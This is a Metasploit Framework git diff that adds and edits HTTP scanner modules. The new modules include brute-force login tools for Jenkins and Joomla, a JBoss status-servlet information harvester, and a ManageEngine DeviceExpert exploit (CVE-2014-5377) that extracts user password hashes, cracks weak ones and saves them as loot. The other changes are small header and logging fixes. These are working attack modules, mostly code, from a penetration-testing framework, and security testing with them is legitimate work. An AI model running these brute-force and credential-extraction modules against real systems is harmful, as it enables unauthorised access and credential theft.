b/modules/auxiliary/scanner/http/jboss_status.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'JBoss Status Servlet Information Gathering', + 'Description' => %q{ + This module queries the JBoss status servlet to collect sensitive + information, including URL paths, GET parameters and client IP addresses. + This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3. + }, + 'References' => + [ + ['CVE', '2008-3273'], + ['URL', 'http://seclists.org/fulldisclosure/2011/Sep/139'], + ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'], + ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned'] + ], + 'Author' => 'Matteo Cantoni <goony[at]nothink.org>', + 'License' => MSF_LICENSE + ) + + register_options([ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The JBoss status servlet URI path', '/status']) + ], self.class) + end + + def run_host(target_host) + jpath = normalize_uri(target_uri.to_s) + + @requests = [] + + vprint_status("#{rhost}:#{rport} - Collecting data through #{jpath}...") + + res = send_request_raw({ + 'uri' => jpath, + 'method' => 'GET' + }) + + # detect JBoss application server + if res and res.code == 200 and res.body.match(/<title>Tomcat Status<\/title>/) + http_fingerprint({:response => res}) + + html_rows = res.body.split(/<strong>/) + html_rows.each do |row| + + #Stage Time B Sent B Recv Client VHost Request + #K 150463510 ms ? ? 1.2.3.4 ? ? + + # filter client requests + if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/) + + j_src = $5 + j_dst = $6 + j_path = $7 + + @requests << [j_src, j_dst, j_path] + end + end + elsif res and res.code == 401 + vprint_error("#{rhost}:#{rport} - Authentication is required") + return + elsif res and res.code == 403 + vprint_error("#{rhost}:#{rport} - Forbidden") + return + else + vprint_error("#{rhost}:#{rport} - Unknown error") + return + end + + # show results + unless @requests.empty? + show_results(target_host) + end + end + + def show_results(target_host) + print_good("#{rhost}:#{rport} JBoss application server found") + + req_table = Rex::Ui::Text::Table.new( + 'Header' => 'JBoss application server requests', + 'Indent' => 1, + 'Columns' => ['Client', 'Vhost target', 'Request'] + ) + + @requests.each do |r| + req_table << r + report_note({ + :host => target_host, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => 'JBoss application server info', + :data => "#{rhost}:#{rport} #{r[2]}" + }) + end + + print_line + print_line(req_table.to_s) + end +end diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index 16fbf114aa..b58bdaa831 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 5f5b2ebbe7..099f7eca03 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary end version = res.headers['X-Jenkins'] - vprint_status("#{peer} - Jenkins Version - #{version}") + print_status("#{peer} - Jenkins Version - #{version}") report_service( :host => rhost, :port => rport, @@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary ) end when 403 - vprint_status("#{peer} - #{uri_path} restricted (403)") + print_status("#{peer} - #{uri_path} restricted (403)") when 401 - vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{peer} - #{uri_path} not found (404)") + print_status("#{peer} - #{uri_path} not found (404)") when 301 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") + print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") end end @@ -164,52 +164,37 @@ class Metasploit3 < Msf::Auxiliary infos[td] = tds[idx+1].get_text.to_s.strip if infos.has_key?(td) end + fprint = {} + jinfo = {} + # print out the goodies infos.each do |k, v| next if v.nil? + v = v.strip + next if v.length == 0 + + jinfo[k.gsub(/\s+/, '_')] = v + case k when "os.name" vprint_line(" OS: #{v}") - report_host({:host => rhost, :os_name => v}) + fprint['os.product'] = v when "os.version" vprint_line(" OS Version: #{v}") - report_host({:host => rhost, :os_flavor => v}) + fprint['os.version'] = v when "sun.os.patch.level" vprint_line(" Patch Level: #{v}") when "os.arch" vprint_line(" Arch: #{v}") - report_note({ - :type => "system_arch", - :host => rhost, - :data => "Arch: #{v}", - :update => :unique_data - }) + fprint['os.arch'] = v when "user.name" vprint_line(" User: #{v}") - report_note({ - :type => "jenkins_user", - :host => rhost, - :port => rport, - :proto => 'tcp', - :data => "User: #{v}", - :update => :unique_data - }) when "USERDOMAIN" vprint_line(" Domain: #{v}") - report_note({ - :type => "system_domain", - :host => rhost, - :data => "Domain: #{v}", - :update => :unique_data - }) + fprint['host.domain'] = v when "COMPUTERNAME" vprint_line(" Computer Name: #{v}") - report_note({ - :type => "system_computer", - :host => rhost, - :data => "Computer Name: #{v}", - :update => :unique_data - }) + fprint['host.name'] = v when "SystemDrive" vprint_line(" System Drive: #{v}") when "SHELL" @@ -222,30 +207,20 @@ class Metasploit3 < Msf::Auxiliary vprint_line(" Home Directory: #{v}") when "user.language" vprint_line(" Language: #{v}") - report_note({ - :type => "system_lang", - :host => rhost, - :data => "Language: #{v}", - :update => :unique_data - }) + fprint['os.language'] = v when "user.country" vprint_line(" Country: #{v}") - report_note({ - :type => "system_country", - :host => rhost, - :data => "Country: #{v}", - :update => :unique_data - }) when "user.timezone" vprint_line(" Timezone: #{v}") - report_note({ - :type => "system_timezone", - :host => rhost, - :data => "Timezone: #{v}", - :update => :unique_data - }) end end + + # Report a fingerprint.match for OS fingerprinting support, tied to this service + report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'fingerprint.match', :data => fprint) + + # Report a jenkins information note for future analysis, tied to this service + report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'jenkins.info', :data => jinfo) + vprint_line('') end end diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb new file mode 100644 index 0000000000..ad84cc7498 --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/jenkins' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Jenkins-CI Login Utility', + 'Description' => 'This module attempts to login to a Jenkins-CI instance using a specific user/pass.', + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(8080) + ], self.class) + + register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) + + deregister_options('RHOST') + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::Jenkins.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb new file mode 100644 index 0000000000..78dd94c00d --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -0,0 +1,279 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Joomla Bruteforce Login Utility', + 'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks', + 'Author' => 'luisco100[at]gmail.com', + 'References' => + [ + ['CVE', '1999-0502'] # Weak password Joomla + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]), + OptPath.new('USER_FILE', [false, 'File containing users, one per line', + File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]), + OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]), + OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']), + OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']), + OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']), + OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']), + OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username']) + ], self.class) + + register_autofilter_ports([80, 443]) + end + + def find_auth_uri + if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0 + paths = [datastore['AUTH_URI']] + else + paths = %w( + / + /administrator/ + ) + end + + paths.each do |path| + begin + res = send_request_cgi( + 'uri' => path, + 'method' => 'GET' + ) + rescue ::Rex::ConnectionError + next + end + + next unless res + + if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ + path = res.headers['Location'] + vprint_status("#{rhost}:#{rport} - Following redirect: #{path}") + begin + res = send_request_cgi( + 'uri' => path, + 'method' => 'GET' + ) + rescue ::Rex::ConnectionError + next + end + next unless res + end + + return path + end + + nil + end + + def target_url + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{rhost}:#{rport}#{@uri}" + end + + def run_host(ip) + vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...") + @uri = find_auth_uri + + unless @uri + vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication") + return + end + + @uri = "/#{@uri}" if @uri[0, 1] != '/' + + vprint_status("#{target_url} - Attempting to login...") + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def do_login(user, pass) + vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + response = do_web_login(user, pass) + result = determine_result(response) + + if result == :success + print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? 'https' : 'http'), + :user => user, + :pass => pass, + :proof => target_url, + :type => 'passsword', + :source_type => 'cred', + :duplicate_ok => true, + :active => true + ) + return :abort if datastore['STOP_ON_SUCCESS'] + return :next_user + else + vprint_error("#{target_url} - Failed to login as '#{user}'") + return + end + end + + def do_web_login(user, pass) + user_var = datastore['USER_VARIABLE'] + pass_var = datastore['PASS_VARIABLE'] + + referer_var = "http://#{rhost}/administrator/index.php" + + vprint_status("#{target_url} - Searching Joomla Login Response...") + res = login_response + + unless res && res.code = 200 && !res.get_cookies.blank? + vprint_error("#{target_url} - Failed to find Joomla Login Response") + return nil + end + + vprint_status("#{target_url} - Searching Joomla Login Form...") + hidden_value = get_login_hidden(res) + if hidden_value.nil? + vprint_error("#{target_url} - Failed to find Joomla Login Form") + return nil + end + + vprint_status("#{target_url} - Searching Joomla Login Cookies...") + cookie = get_login_cookie(res) + if cookie.blank? + vprint_error("#{target_url} - Failed to find Joomla Login Cookies") + return nil + end + + vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )") + res = send_request_login( + 'user_var' => user_var, + 'pass_var' => pass_var, + 'cookie' => cookie, + 'referer_var' => referer_var, + 'user' => user, + 'pass' => pass, + 'hidden_value' => hidden_value + ) + + if res + vprint_status("#{target_url} - Login Response #{res.code}") + if res.redirect? && res.headers['Location'] + path = res.headers['Location'] + vprint_status("#{target_url} - Following redirect to #{path}...") + + res = send_request_raw( + 'uri' => path, + 'method' => 'GET', + 'cookie' => "#{cookie}" + ) + end + end + + return res + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return nil + end + + def send_request_login(opts = {}) + res = send_request_cgi( + 'uri' => @uri, + 'method' => 'POST', + 'cookie' => "#{opts['cookie']}", + 'headers' => + { + 'Referer' => opts['referer_var'] + }, + 'vars_post' => { + opts['user_var'] => opts['user'], + opts['pass_var'] => opts['pass'], + 'lang' => '', + 'option' => 'com_login', + 'task' => 'login', + 'return' => 'aW5kZXgucGhw', + opts['hidden_value'] => 1 + } + ) + + res + end + + def determine_result(response) + return :abort unless response.kind_of?(Rex::Proto::Http::Response) + return :abort unless response.code + + if [200, 301, 302].include?(response.code) + if response.to_s.include?(datastore['WORD_ERROR']) + return :fail + else + return :success + end + end + + :fail + end + + def login_response + uri = normalize_uri(datastore['FORM_URI']) + res = send_request_cgi!('uri' => uri, 'method' => 'GET') + + res + end + + def get_login_cookie(res) + return nil unless res.kind_of?(Rex::Proto::Http::Response) + + res.get_cookies + end + + def get_login_hidden(res) + return nil unless res.kind_of?(Rex::Proto::Http::Response) + + return nil if res.body.blank? + + vprint_status("#{target_url} - Testing Joomla 2.5 Form...") + form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi) + + if form.length == 1 # is not Joomla 2.5 + vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...") + form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi) + end + + if form.length == 1 # is not Joomla 3 + vprint_error("#{target_url} - Last chance to find a login form...") + form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi) + end + + begin + input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi) + input_id = input_hidden[7].split("\"") + rescue NoMethodError + return nil + end + + valor_input_id = input_id[1] + + valor_input_id + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 344fd6444b..da0562c0b6 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index 18d2aa5848..a199aef541 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 14a281b41d..459a2150bf 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index 7baf29c27e..6aab0a2295 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index be7b8fac4f..bae0916994 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb index 5d253dcfc9..8e65e4407c 100644 --- a/modules/auxiliary/scanner/http/lucky_punch.rb +++ b/modules/auxiliary/scanner/http/lucky_punch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 0dd4195aec..5e347e23c8 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index efd73beac0..0d0d4bfd46 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(6060), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') @@ -76,4 +76,4 @@ class Metasploit3 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb new file mode 100644 index 0000000000..3e84b1ba0f --- /dev/null +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'ManageEngine DeviceExpert User Credentials', + 'Description' => %q{ + This module extracts usernames and salted MD5 password hashes + from ManageEngine DeviceExpert version 5.9 build 5980 and prior. + + This module has been tested successfully on DeviceExpert + version 5.9.7 build 5970. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit + 'Brendan Coles <bcoles[at]gmail.com>' # msf + ], + 'References' => + [ + ['EDB', '34449'], + ['OSVBD', '110522'], + ['CVE', '2014-5377'] + ], + 'DisclosureDate' => 'Aug 28 2014')) + register_options( + [ + Opt::RPORT(6060), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + deregister_options('RHOST') + end + + def check + get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + def get_users + users = nil + vprint_status("#{peer} - Reading users from master...") + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.code == 404 + vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'") + elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/ + users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/) + vprint_good("#{peer} - Found #{users.length} users") + else + vprint_error("#{peer} - Could not find any users") + end + users + end + + def parse_user_data(user) + return if user.nil? + username = user.scan(/<username>([^<]+)</).flatten.first + encoded_hash = user.scan(/<password>([^<]+)</).flatten.first + role = user.scan(/<userrole>([^<]+)</).flatten.first + mail = user.scan(/<emailid>([^<]+)</).flatten.first + salt = user.scan(/<saltvalue>([^<]+)</).flatten.first + hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first + pass = nil + ['12345', 'admin', 'password', username].each do |weak_password| + if hash == Rex::Text.md5(weak_password + salt) + pass = weak_password + break + end + end + [username, pass, hash, role, mail, salt] + end + + def run_host(ip) + users = get_users + return if users.nil? + + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'ManageEngine DeviceExpert User Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Username', + 'Password', + 'Password Hash', + 'Role', + 'E-mail', + 'Password Salt' + ] + ) + + vprint_status("#{peer} - Parsing user data...") + users.each do |user| + record = parse_user_data(user.to_s) + next if record.join.empty? + + user = record[0] + pass = record[1] + hash = record[2] + role = record[3] + mail = record[4] + salt = record[5] + + cred_table << [user, pass, hash, role, mail, salt] + + if pass + print_status("#{peer} - Found weak credentials (#{user}:#{pass})") + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: pass, + username: user + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :nonreplayable_hash, + private_data: "#{salt}:#{hash}", + username: user + } + end + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: role, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + + end + + print_line + print_line("#{cred_table}") + loot_name = 'manageengine.deviceexpert.user.creds' + loot_type = 'text/csv' + loot_filename = 'manageengine_deviceexpert_user_creds.csv' + loot_desc = 'ManageEngine DeviceExpert User Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status "Credentials saved in: #{p}" + end +end diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index 96a0b350a3..d098907acd 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index a55c173a17..746b3ffb9f 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,7 +64,7 @@ class Metasploit4 < Msf::Auxiliary } }) - if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/ + if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/ return $1,$2 else return nil @@ -134,8 +134,8 @@ class Metasploit4 < Msf::Auxiliary 'cookie' => session_cookie }) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/ - parse_auth_cookie(res.headers['Set-Cookie']) + if res and res.code == 302 and res.get_cookies.include?('UserID=') + parse_auth_cookie(res.get_cookies) return true else return false @@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...") + vprint_status("#{peer} MediaWiki - Getting unauthenticated session...") @wiki_session_name, @wiki_session = get_first_session if @wiki_session.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...") + print_error("#{peer} MediaWiki - Failed to get unauthenticated session...") return end - vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}") + vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}") if @user and not @user.empty? and @password and not @password.empty? - vprint_status("#{peer(rhost)} MediaWiki - Getting login token...") + vprint_status("#{peer} MediaWiki - Getting login token...") @login_token = get_login_token if @login_token.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get login token") + print_error("#{peer} MediaWiki - Failed to get login token") return end - vprint_status("#{peer(rhost)} Logintoken: #{@login_token}") + vprint_status("#{peer} Logintoken: #{@login_token}") if not authenticate - print_error("#{peer(rhost)} MediaWiki - Failed to authenticate") + print_error("#{peer} MediaWiki - Failed to authenticate") return end - vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}") - vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}") - vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}") + vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}") + vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}") + vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}") end - vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...") + vprint_status("#{peer} MediaWiki - Getting edit token...") @edit_token = get_edit_token if @edit_token.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get edit token") + print_error("#{peer} MediaWiki - Failed to get edit token") return end - vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}") + vprint_status("#{peer} Edittoken: #{@edit_token}") - vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...") + vprint_status("#{peer} MediaWiki - Uploading SVG file...") @svg_uri = upload_file if @svg_uri.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file") + print_error("#{peer} MediaWiki - Failed to upload SVG file") return end - vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}") + vprint_status("#{peer} SVG URI: #{@svg_uri}") - vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...") + vprint_status("#{peer} MediaWiki - Retrieving remote file...") loot = read_data if loot.nil? or loot.empty? - print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file") + print_error("#{peer} MediaWiki - Failed to retrieve remote file") return end f = ::File.basename(datastore['RFILE']) path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE']) - print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}") + print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}") end def run diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 2bd5c493e5..22fd394fe6 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb index c31ec051b3..8fc76e5fe0 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb @@ -1,5 +1,5 @@ ## 